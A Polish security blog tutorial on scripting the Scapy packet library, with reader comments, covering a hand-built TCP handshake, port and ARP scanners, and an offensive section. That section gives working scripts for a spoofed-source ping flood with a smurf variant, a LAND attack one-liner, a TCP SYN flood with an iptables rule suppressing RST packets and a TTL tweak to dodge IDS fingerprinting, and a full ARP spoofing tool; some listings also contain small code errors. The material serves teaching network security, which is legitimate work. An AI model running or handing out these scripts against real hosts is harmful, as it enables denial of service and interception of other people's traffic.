Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Generator pakietów scapy – część 2.

17 kwietnia 2018, 12:15 | Teksty | komentarzy 7

W poprzednim artykule poruszyliśmy temat podstaw Scapy – narzędzia, które daje możliwość swobodnego generowania pakietów. Jeżeli brzmi to zbyt enigmatycznie, polecam zapoznanie się z wyżej wymienionym artykułem. Zostały w nim omówione podstawy, dzięki którym możliwe jest wskoczenie na kolejny poziom w obsłudze tego narzędzia, czyli pisania skryptów. Scapy oferuje możliwość użycia go wraz z programami pisanymi w Pythonie. Taka funkcjonalność umożliwia tworzenie skomplikowanych narzędzi, zautomatyzowanej analizy pakietów czy przeprowadzanie różnych ataków.

Tyle tytułem wstępu. Teraz przyszedł czas na praktyczne zastosowanie Scapy.

TCP handshake

Na dobry początek zabierzmy się do podstaw z zakresu wiedzy sieciowej czyli tzw. TCP handshake.

Sposób nawiązania połączenia TCP składa się z trzech etapów:

  • klient wysyła do serwera pakiet z flagą SYN, która oznacza, że chce on nawiązać połączenie;
  • serwer, który do tego czasu był w trybie listen, odbiera flagę SYN, po czym wysyła SYN-ACK, co oznacza, że serwer jest gotowy na nawiązanie połączenia;
  • ostatnim etapem jest wysłanie przez klienta pakietu z flagą ACK, która sygnalizuje rozpoczęcie połączenia.
Oczywiście, kiedy łączymy się z serwerem podczas korzystania z internetu, proces ten odbywa się automatycznie. Jednak ponieważ jest to artykuł o craftowaniu pakietów, pewnie się spodziewacie, że w tym wypadku sami stworzymy takie połączenie, mając wpływ na wszystkie parametry.

Skrypt zestawiania takiego połączenia z użyciem Scapy prezentuje Listing nr 1:

#!/usr/bin/python
# -*- coding: utf-8 -*-

from scapy.all import *

#ustawienie metody na GET
get='GET/HTTP/1.0\n\n'

#ustawienie targetu 
ip=IP(dst="www.google.com")

#source port wybierany losowo z podanej puli
port=RandNum(1024,65535)

#tworzenie pakietu SYN
SYN=ip/TCP(sport=port, dport=80,flags="S",seq=666)

#wysłanie SYN, otrzymanie SYN,ACK
SYNACK=sr1(SYN)

#tworzenie ACK z użyciem GET
ACK=ip/TCP(sport=SYNACK.dport, dport=80, flags="A", seq=SYNACK.ack, ack=SYNACK.seq+1)/get

#wysłanie requesta ACK-GET 
reply,error=sr(ACK)

#wyświetlenie odpowiedzi
print reply.show()

Jak można łatwo zauważyć, mamy wpływ na wszystkie używane parametry, ale prześledźmy to od początku.

W parametrze IP możemy ustawić zarówno źródło, jak i cel dla naszego pakietu.

Nie użyłem tutaj parametru src = 'adres_IP_źródła’, co sprawia, że w pakiecie pole to zostanie uzupełnione automatycznie adresem IP przypisanym do mojego komputera. Parametr dst = 'adres_IP_celu’ zawiera  docelowy adres IP, może to być adres www, jak w naszym przypadku, lub po prostu adres IP.

Pakiet TCP daje możliwość ustawienia takich parametrów jak:

  • sport  –  port, z którego wysłany zostanie pakiet,w tym przypadku będzie to losowo wybrana wartość z puli 1024-65535;
  • dport  –  port, na który zostanie wysłany pakiet, mamy tutaj do czynienia z HTTP, co z góry
  • oznacza port 80;
  • flags  –  flaga, jaką przypiszemy pakietowi, ponieważ jest to inicjacja połączenia, jest ot 'S’, dla kolejnych stanów używa się kolejno 'SA’ i 'A’;
  • seq –  sekwencja, na tym etapie może zostać wylosowana.

Fragment SYNACK=sr1(SYN) jest bardzo ważnym elementem całego kodu, odpowiada za wysłanie flagi SYN i odebranie odpowiedzi, która zostanie zapisana w zmiennej SYNACK.

Flagę ACK tworzymy analogicznie jak SYN, używając jednak wartości otrzymanych w SYN-ACK.

Jeżeli ktoś jest bardzo ciekawy ostatnich dwóch parametrów odsyłam do poniższego artykułu, jest to bardzo ładnie i rzeczowo wytłumaczone.

Ostatni print w skrypcie wyświetla sposób nawiązywania połączenia:

Rysunek 1. Nawiązywanie połączenia przy pomocy skryptu.

Skaner sieciowy

Skoro wiemy już jak wysłać pakiety TCP SYN oraz potrafimy wybierać docelowe IP i porty, jest to wystarczająca wiedza, by zbudować skaner sieciowy (coś na kształt mini nmapa z opcjami, które są nam potrzebne w danym momencie). W tym wypadku podajemy adres docelowego hosta, a skaner szuka otwartych portów dla podanego w kodzie zakresu portów.

Tutaj kod jest bardziej skomplikowany, został on przedstawiony na Listingu nr 2:

#!/usr/bin/python
# -*- coding: utf-8 -*-

import time
import logging
from scapy.all import *
 
ip = "IP_hosta_ktorego_chcemy_przeskanowac"
closed = 0
openp= []
 
def is_up(ip):
    icmp = IP(dst=ip)/ICMP()
    resp = sr1(icmp, timeout=5)
    if resp == None:
        return False
    else:
        return True
 
if __name__ == '__main__':
    conf.verb = 0 
    # wyłączenie verbosity w metodach sr() i sr1()
    start_time = time.time()
    ports = range(1, 1024)
    if is_up(ip):
        print "Host %s jest dostepny, rozpoczecie skanowania:" % ip
        for port in ports:
            src_port = RandNum(1024,65535) 
            # losowanie randomowego source portu
            p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='S') 
            # stworzenie pakietu SYN o odpowiednich parametrach
            resp = sr1(p, timeout=2) 
            # wysyłanie pakietu
            if str(type(resp)) == "<type 'NoneType'>":
                closed += 1
            elif resp.haslayer(TCP):
                if resp.getlayer(TCP).flags == 0x12:
                    send_rst = sr(IP(dst=ip)/TCP(sport=src_port, dport=port, flags='AR'), timeout=1)
                    openp.append(port)
                elif resp.getlayer(TCP).flags == 0x14:
                    closed += 1
        duration = time.time()-start_time
        print "%s Skan wykonany w %fs" % (ip, duration)
        if len(openport) != 0:
            for opprt in openport:
                print "%d open" % opprt
        print "%d portow w stanie closed z %d przeskanowanych." % (closed, len(ports))
    else:
        print "Host %s nie jest dostepny." % ip

Zmienna ip to adres IPv4 celu, który chcemy przeskanować w poszukiwaniu otwartych portów, closed i openp musiały zostać zdefiniowane, wrócimy do nich potem.

Funkcja is_up() pozwala zaoszczędzić skanerowi dużo czasu. Sprawdza, czy host jest w ogóle dostępny, by skaner nie szukał otwartych portów hosta, którego nie ma w danej sieci. Może obco brzmiący protokół ICMP, jest znany pewnie raczej z funkcji ping. Tak,  na początku wysyłamy do maszyny, którą chcemy sprawdzić, ping, jeżeli dostanimy odpowiedź, oznacza to, że możemy przystąpić do skanowania. Żeby wszystko było jasne, parametr timeout sprawia, że funkcja czeka przez 5 sekund na odpowiedź, jeżeli do tego czasu nie nadejdzie, wtedy zwróci False.

Następne szczegóły:

  • start_time nie jest niezbędny, ale dzięki temu będziemy mogli określić czas skanowania
  • ports daje możliwość ustalenia zakresu portów, które chcemy przeskanować, w tym wypadku są to te najciekawsze pierwsze 1024.

Teraz najważniejsza część skanera, czyli mechanizm analizy odpowiedzi od skanowanego hosta.

Pierwszy warunek, który musi zostać spełniony, by zadziałała reszta kodu – musimy dostać odpowiedź.

Jeżeli taka odpowiedź nadejdzie, trzeba przeanalizować flagi TCP, jakie niesie ze sobą odpowiedź z hosta. Podstawowe flagi i ich postać w prawdziwym pakiecie to:

ACK = 0x10
RST = 0x04
SYN = 0x02
FIN = 0x01

Proste matematyczne obliczenia tłumaczą pozostałą część:

  • 0x12 oznacza flagę SYN/ACK: port jest w stanie 'open’. Ponieważ nie chcemy ustalać połączenia, wysyłamy w odpowiedzi flagę RST.

Nie wysłanie tej flagi może spowodować przypadkowy atak na skanowany host, o tym za chwilę w dalszej części artykułu.

  • 0x14 oznacza flagę RST/ACK: port jest w stanie closed.

Rysunek 2. Przykładowe działanie opisywanego skanera.

Podsumowanie

Pokazałem w tej części podstawy pisania skryptów przy pomocy Scapy. O ile w dalej skupię się bardziej na ofensywnym aspekcie tego narzędzia, myślę, że do tej pory moje przykłady obrazują, jak duże ma ono możliwości. Jeszcze tylko słowo podsumowania odnośnie skanerów.

Ten, który pokazałem, sprawdza dane porty dla wybranego hosta. Jednak w bardzo prosty sposób skanery można modyfikować i rozwijać. Dzięki temu możemy stworzyć spersonalizowane narzędzie, działające dokładnie w taki sposób, jakiego potrzebujemy.

Ofensywna strona Scapy

Skoro Scapy daje taki szeroki wachlarz możliwości związanych z craftowaniem pakietów, może to być bardzo przydatne narzędzie podczas przeprowadzania różnych testów bezpieczeństwa. Następne kilka przykładów będzie związane z atakami DOS/DDOS. Dobrym fundamentem do dalszej części tego artykułu będzie odświeżenie sobie tej tematyki.

Najprostszy ping w Scapy można wysłać za pomocą (Listing nr 3):

send(IP(dst="docelowe_ip")/ICMP()

Mała modyfikacja w tradycyjnym pingu, dodajemy do naszego pakietu duży pakiet śmieciowych danych (Listing nr 4):

for p in fragment(IP(dst="docelowe_ip")/ICMP()/("X"*60000)):
    send(p)

Działanie programu oraz odpowiednio pofragmentowane pakiety można obserwować w Wiresharku

Rysunek 3. Działanie programu w Wiresharku.

Przy odpowiednio dużym pakiecie (duża ilość ‘śmieci’ dołączonych do wiadomości) taki ping może sprawić problemy systemowi, do którego został  wysłany.

I w prosty sposób pakiet ICMP zmienia się w Ping of Death, jeszcze w latach 90. w ten sposób skonstruowany request mógłby na pewno spowodować sporo problemów ;).

Ping flood

Z perspektywy atakującego powyższy przypadek na pewno jest dość mizerny. Moc programowania daje możliwość małego upgrade’u tego ataku. Najważniejsze, że źródłem ataku jest jeden adres IP. Po pierwsze, w ramach obrony wystarczy zablokować taki adres, a po drugie – wydaje się, że nie jest najlepszym pomysłem wykonywanie takiego ataku ze swojego adresu IP.

Czy można spróbować wykonać DDOS przy pomocy Scapy?

Małe modyfikacje, które  możemy wprowadzić. prezentuje Listing nr 5:

#!/usr/bin/python
# -*- coding: utf-8 -*-

from scapy.all import *
import random

#Losowe generowanie źródłowego adresu IP
def addr_spoof():
    addr = [192, 168, 0 , 1]
    d = '.'
    addr[0] = str(random.randrange(11,197))
    addr[1] = str(random.randrange(0,255))
    addr[2] = str(random.randrange(0,255))
    addr[3] = str(random.randrange(2,254))
    adres = addr[0]+d+addr[1]+d+addr[2]+d+addr[3]
    print adres
    return adres

#Wybór celu ataku 
cel = raw_input("Podaj docelowy adres IP: ")
#broadcast = raw_input("Enter the broadcast address to send to: ") <- smurf atak

while True:
    rand_adr = addr_spoof()
    #ip = IP(src=target, dst=broadcast) <- smurf atak
    ip = IP(src=rand_adr, dst=cel)
    pakiet = ip/ICMP()/("X"*60000) 
    #wysyłamy 60k bitów śmieci
    send(pakiet)

Generujemy tutaj losowe adresy IP, z których cel zostaje ‘zalany’ ping requestami.  Obecnie nie jest to tak duży problem, jak dawniej, złote czasy tego ataku to połowa lat 90.

Rysunek 4. Przykładowe działanie programu.

Tutaj przykład takiej komunikacja obserwowanej w Wiresharku:

Rysunek 5. Komunikacja z ataku w Wiresharku.

Atak DDOS Smurf

Wymienione powyżej ataki były możliwe często dzięki małej przepustowości, jaką dysponował atakowany serwer. Cała sztuczka polegała na wygenerowaniu jak największego ruchu przy jak najmniejszym nakładzie 'pracy’.  Dlatego ping flood ewoluował w DDOS Smurf attack (najbardziej popularny pod koniec lat 90.).

Modyfikacje, jakie możemy wprowadzić to:

  • dodanie adresu, na który będą wysyłane ping requesty
  • zmiana adresu w taki sposób, by źródłem był atakowany komputer, a celem ataku prawdziwa  ofiara w danej sieci (jak na schemacie).

Rysunek 6. Schemat ataku w rozbudowanej wersji. [Źródło]

Rysunek nr 6 prezentuje komunikację,  jaką udało się zaobserwować z atakującej maszyny, której adres to  192.168.1.108. Jak widać, komputer o adresie 192.168.1.109 został ‘zmuszony’ do wysłania pinga na inny adres (w tym wypadku broadcast danej sieci).

Rysunek 7. Komunikacja z ataku w Wiresharku.

Skoro mowa o wysyłaniu pakietów TCP poruszę tu też temat pewnych ciekawych podatności Windows Server 2003 :). Klasykiem był Land attack (https://en.wikipedia.org/wiki/LAND) na porty, które po takim działaniu crash’owały cały system (Listing nr 6).

send(IP(src="ip_atakującego", dst="ip_celu")/TCP(sport=135,dport=135), count=1500)

Nie ma tutaj nic skomplikowanego, po prostu zbyt duża ilość TCP SYN requestów. Nie należy jednak mylić go z TCP SYN flood, który opisany został poniżej.

TCP SYN flood

Kolejny rodzaj ataku DOS, który jest nadal aktualny i bywa problematyczny. Wiąże się to ze sposobem działania protokołu TCP (TCP handshake, o którym pisałem powyżej). Kiedy serwer przetworzy SYN request, wysyła SYN-ACK i czeka na ostatnią część procesu, czyli ACK wysłane przez klienta. Serwer zostaje 'zasypany’ dużą ilością requestów, na każdy z nich odpowiada i czeka na nawiązanie połączenia, które nie nadchodzi. To doprowadza go do momentu, w którym utrzymuje tysiące otwartych połączeń, oczekujących na nawiązanie połączenia. Z tego powodu w pewnym momencie nowi klienci nie są już w stanie połączyć się do danego serwera.

Z technicznej perspektywy może wystąpić tu problem, kiedy komputer wykonujący atak może chcieć automatycznie wysłać flagę RST. Stanie się tak, ponieważ system wykryje wysłane zapytania, które nie zostały przekształcone w połączenie. Rozwiązanie tego problemu jest proste dla Linuxów,wystarczy dodać wyjątek do iptables:

iptables -A OUTPUT –p tcp –s adres_ip_atakującego --tcp-flags RST RST –j DROP

Zablokuje to wysłanie resetu i umożliwi nawiązanie bardzo dużej ilości niepełnych połączeń. Kod został przedstawiony na Listingu nr 7:

#!/usr/bin/python
# -*- coding: utf-8 -*-

from scapy.all import *
#conf.verb=0

cel = raw_input("Podaj docelowy adres IP: ")

p=IP(dst=cel,id=1111,ttl=99)/TCP(sport=RandShort(),dport=[80],seq=666,ack=777,window=1234,flags="S")/"Sekurak"
print "Wysylanie pakietow co 0.1 sekundy."
ans,unans=srloop(p,inter=0.3,retry=2,timeout=4)
print "Zestawienie wyslanych pakietow:"
ans.summary()
unans.summary()

W powyższym kodzie najciekawszą rzeczą, o której wcześniej nie wspominałem, może być dziwna wartość dla TTL (time to live). Systemy takie jak IPS czy IDS, bardzo często używają tego parametru do rozpoznania, z jakiego systemu operacyjnego został przeprowadzony atak. Wprowadzenie takiej wartości sprawi, że częściowo 'zamaskujemy’ swoje dane.

Przykładowe działanie skryptu zostało pokazane poniżej. Można zauważyć, że będzie on przesyłał request tak długo, dopóki skrypt nie zostanie zatrzymany:

Rysunek 8. Przykładowe działanie skryptu.

 

Rysunek 9. Analiza przykładu z Wiresharka.

Po kilku nienawiązanych połączeniach serwer zaczyna się upominać o połączenie i wysyła TCP retransmission. Kilka minut później w wiresharku pakietów retransmission jest więcej niż wysyłanych TCP SYN.

Co by się jednak stało, gdybyśmy nie ustawili wyjątku w iptables?

Po każdym wysłanym TCP SYN i otrzymanym SYN-ACK nasza maszyna wysłałaby flagę RST do serwera,zapobiegając temu atakowi:

Rysunek 10. Analiza przykładu z Wiresharka.

 

Ethernet i Scapy

Powyżej wszystkie operacje miały miejsce w trzeciej warstwie ISO/OSI. Nie można jednak zapominać o tym, że Scapy doskonale radzi sobie z warstwą fizyczną, do której zostały stworzone dedykowane funkcje (srp, srp1,sendp itp.). Tutaj to narzędzie daje również dość dużo możliwości.

ARP ping

Skoro jedną z podstawowych operacji jakie można wykonać w sieci  jest ping, można go zasymulować dla drugiej warstwy. Główne polecenie programu wysyła zapytanie ARP pod IP celu i w zależności od odpowiedzi budowana jest odpowiedź programu – jak na Listingu 8.

from scapy.all import *
import sys

cel=raw_input("Podaj docelowy adres IP: ") 
        
answered,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=cel),verbose=0,timeout=3)
 
if len(answered) > 0:
	print answered[0][0].getlayer(ARP).pdst, "jest up"
elif len(unanswered) > 0:
	print unanswered[0].getlayer(ARP).pdst, " jest down"

Działanie programu jest proste do przewidzenia:

Rysunek. 11. Działanie programu z przykładu.

ARP skaner

Od funkcji wysyłającej request na adres MAC przypisany do odpowiedniego adresu IP nie jest daleko do stworzenia skanera. W tym wypadku będę chciał, by program wyświetlił mi adresy IP w mojej sieci oraz przypisane do nich adresy MAC z tablicy ARP (Listing nr 9).

import sys
from datetime import datetime
from scapy.all import *

#interf= raw_input("Podaj docelowy interface: ")
ips = raw_input("Podaj zakres IP do przeskanowania: ")

start_time=datetime.now()
conf.verb= 0
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst = ips), timeout = 2, inter = 0.1)

print "\n\n MAC - IP"
for snd, rcv in ans:
	print rcv.sprintf(r"%Ether.src% - %ARP.psrc%")
stop_time = datetime.now()
total_time = stop_time - start_time
print "\n Skan skonczony."
print ("\n Czas skanowania: %s" %(total_time))

Działanie programu:

Rysunek 12. Działanie programu z przykładu.

ARP spoofing

Skoro poruszyłem temat ARP-ów oraz Scapy, nie mogłem tutaj pominąć innego klasyka  w dziedzinie bezpieczeństwa sieciowego. Zatem krótko o tym, na czym polegają tablice ARP i atak ARP spoofing.

ARP jest protokołem pozwalającym na skojarzenie adresów warstwy sieciowej z warstwą fizyczną.

Oto jak może wyglądać tablica ARP:

Rysunek 13. Tablica ARP.3

ARP spoofing polega na „podłożeniu” fałszywego adresu MAC pod dany adres IP, co pozwala na oszukanie komunikacji w warstwie drugiej i przechwytywanie pakietów nie dedykowanych dla danego komputera.

Do tego celu użyję skryptu, który działa w następujący sposób:

  • na wejściu przyjmuje interface, docelowy adres IP oraz adres MAC, jaki chcemy do niego  przypisać;
  • po uruchomieniu program nasłuchuje, czekając na zapytanie ARP kierowane pod wskazany wcześniej adres IP;
  • gdy zostanie przechwycone takie zapytanie, program automatycznie generuje pakiet w sposób, jaki został zadany w skrypcie;
  • spreparowany pakiet zostaje odebrany przez cel i adres MAC zapisany do tablicy ARP.

Kod prezentuje się na Listingu nr 10:

#!/usr/bin/python
# -*- coding: utf-8 -*-

from scapy.all import ARP, IP, sniff, send
from subprocess import call
from sys import exit, argv

# podstawowe informacje, jak użyć skryptu
def usage():
    print(' ./arpSpoof.py interface_do_nasluchiwania ip_address_do_nasluchiwania mac_addres_ktory_uzyjemy ')
    print(' np: python arpSpoof.py eth0 192.168.1.1 01:02:03:a1:a2:a3')
    exit(0)

# nasłuchiwanie ARP requestu -> tworzenie odpowiedzi
def listen_and_build(src_intf, target_ip, my_mac):
    # możemy dodać dowolną informację do naszego requestu
    some_data = "Czesc tu Sekurak :)!"
  
    # lista, ktora zostala stworzona, by utrzymać jak najlepszą 'dokładnosc' sniffowania
    pdst = []
  
    # IP odczytywane z inputu
    pdst = target_ip.split('.')

    print(' Nasluchiwanie na ARP request dla \'%s\' ... ' %target_ip)
  
    # filtrowanie przechwyconego requestu
    get_arp_request = sniff(iface=src_intf, filter='arp[6:2] & 0x0F=0x01 and arp[24] & 0xFF='+ pdst[0] +' and arp[25] & 0xFF='+ pdst[1] +' and arp[26] & 0xFF='+pdst[2]+' and arp[27] & 0xFF='+pdst[3], count=1)

    # wyciągamy IP hosta wysyłającego ARP request
    received_arp_ip_src = get_arp_request[0].getlayer(ARP).psrc

    # wyciągamy MAC hosta wysyłającego ARP request
    received_arp_hw_src = get_arp_request[0].getlayer(ARP).hwsrc

    # wyciągamy IP hosta, który jest 'poszukiwany' przez nasz cel 
    received_arp_ip_dst = get_arp_request[0].getlayer(ARP).pdst
  
    print(' \n Znaleziono ARP Request ... ')
    print(' source host \'%s(%s)\' ----> destination host \'%s\'  ' %(received_arp_ip_src,received_arp_hw_src,received_arp_ip_dst))
  
    print(' \n Budowanie odpowiedzi ARP ...')

    # początek budowania odpowiedzi ARP
    send_arp_reply = ARP()

    # ustalanie warstwy fizycznej jako Ethernet, wartość z przechwyconego requestu
    send_arp_reply.hwtype = get_arp_request[0].getlayer(ARP).hwtype

    # ustalanie protokołu jako IP, wartość z przechwyconego requestu
    send_arp_reply.ptype = get_arp_request[0].getlayer(ARP).ptype

    # ustalanie parametru length dla destination/source w Ethernecie (48 bitow), wartość z                          #przechwyconego requestu  
    send_arp_reply.hwlen = get_arp_request[0].getlayer(ARP).hwlen

    # ustalanie parametru length dla protokołu (32 bity dla IPv4), wartość z przechwyconego requestu 
    send_arp_reply.plen = get_arp_request[0].getlayer(ARP).plen

    # wysyłamy operation code, wartość ustalamy na 2 poniewaz to ARP reply, więcej informacji:
    # https://www.iana.org/assignments/arp-parameters/arp-parameters.xhtml
    send_arp_reply.op = 0x02

    # ta wartość ustalamy na początku programu w wierszu poleceń
    send_arp_reply.hwsrc = my_mac
    
    # ustalanie IP, które zostanie wysłane do maszyny wysyłającej zapytanie ARP	
    send_arp_reply.psrc = received_arp_ip_dst

    # ustalanie MACa który otrzyma ten ARP replay
    send_arp_reply.hwdst = received_arp_hw_src

    # ustalanie destination IP odbierającego hosta
    send_arp_reply.pdst = get_arp_request[0].getlayer(ARP).psrc

    print(' Wysylanie gotowej odpowiedzi ARP .... ')
    print(' Odpowiedz z \'%s(%s)\' do \'%s(%s)\' '  %(send_arp_reply.psrc,send_arp_reply.hwsrc,send_arp_reply.pdst, send_arp_reply.hwdst))
    send(send_arp_reply/some_data, count=3)

    # print(send_arp_reply.show())

def main():
    call('clear')
    if ( len(argv) != 4 ):
        usage()
    listen_and_build(argv[1].strip(),argv[2].strip(), argv[3].strip())

if __name__ == '__main__':
    main()

Mała próba działania programu. Spróbuję przyporządkować dowolny adres MAC do losowego adresu z mojej podsieci (host ten jest w stanie down).


Rysunek 14. Działanie programu z przykładu: krok 1.

Najpierw sprawdziłem, czy na pewno wybrany adres nie występuje w tablicy ARP jednego z moich hostów. Następnie – gdy już wiem, że nie – próbuję wysłać ping na dany host. Jak można się spodziewać, ping nie przeszedł, otrzymujemy informację Host Unreachable.

Rysunek 15. Działanie programu z przykładu: krok 2.

Następnie ustawiłem mój skrypt na wcześniej wspomniany adres, docelowo chciałbym do niego przypisać MAC o wartości 01.02.03.04.05.06. Program zaczyna nasłuchiwanie.

Podczas próby wysłania pinga na 192.168.1.178 drugi raz, skrypt wychwytuje zapytanie ARP i automatycznie się uruchamia.

Rysunek 16. Działanie programu z przykładu: krok 3.

Praca naszego skryptu w tym momencie się kończy. Zobaczmy przebieg działań ze strony hosta, który wysłał pinga:

Rysunek 17. Działanie programu z przykładu.

W tym momencie nie otrzymujemy odpowiedzi: Host Unreachable, lecz host wysyła ping, ale nie dostaje odpowiedzi, ponieważ pod podanym adresem MAC nic nie ma.

Sprawdzenie tablicy ARP na maszynie wysyłającej ping pokazuje, że zawiera ona dane zgodnie z tym, co miał wykonać skrypt. Dla potwierdzenia zapis z Wiresharka:

Rysunek 18. Działanie programu z przykładu z Wiresharka.

 

Podsumowanie

Starałem się przybliżyć,  jak duże możliwości dają skrypty pisane  w Pythonie, przy użyciu Scapy. Wpływ na parametry wysyłanych pakietów daje bardzo dużo możliwości, wykorzystywanych od skanerów, przez przez skrypty wykonujące ataki aż do narzędzi służących do wykrywania oraz obrony. W tym wypadku granicą są umiejętności programistyczne i wyobraźnia użytkownika.

— Michał Wnekowicz

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Tomasz

    Fajnie opisane, konkretnie, bez zbędnego biadolenia ;)

    Odpowiedz
  2. bob

    fajny artykul, jestem poczatkujacy w tym temacie ale zauwazylem ze czesc osob zamiast scapy uzywa golang z gopacket podobno duzo lepsze niz scapy

    Odpowiedz
  3. posypka

    Świetnie przekazana wiedza! Zgrabnie, jasno i zwięźle opisane aspekty techniczne. Cieszę się, że pojawił się u Was artykuł z podstawowego zastosowania scapy, aż chce się testować u siebie … Czekam na więcej! :)

    Odpowiedz
  4. czytelnik

    Super opisany temat. czekam na więcej. przypomina mi to rozwiniecie zagadnień uzywanych niegdyś w backtrack lub obecnie kalilinux :)

    Odpowiedz
  5. AlphaTango

    Super artykuł. Niestety dla mnie za późno opublikowany bo do tego wszystkiego musialem dochodzić sam z Internetu plus książki. Mam nadzieję ze mnie wyprzedzicie i opiszecie forwarding np. kilku portów UDP przez jakiś wymyślony na biegu protokół (Ale nie ala tunel czyli gotowiec VNC lub ssh i w docelowej lokalizacji rozpakowanie tego ruchu.
    Ciekawe kto będzie pierwszy. Mam wrażenie że znowu ja.
    A przy okazji piszcie zawsze jakiej wersji kod dotyczy 2.7 czy 3.x

    Odpowiedz
  6. adam

    super wpis:)

    Odpowiedz
  7. Ktoś

    Ile protokołów ile ramek ile pól w pakiecie/ramce.I w każdym polu ile dostępnych wartości.To tworzy siłę kombinatoryki możliwych zespołów danych.Ile czasu by zeszło aby wygenerować wszystkie możliwe kombinacje. Pętla zagnieżdżona tyle razy ile jest pól o możliwym zakresie wartości.Oczekiwanie odpowiedzi niepożądanych/luk/trybów awaryjnych to motywacja odnalezienia czegoś.Alternatywą jest podgląd implementacji warstw protokołów w oprogramowaniu na obecność np wyjątków niepożądanych.Ile czasu potrzeba,ile i które implementacją mogą być podejrzane

    Odpowiedz

Odpowiedz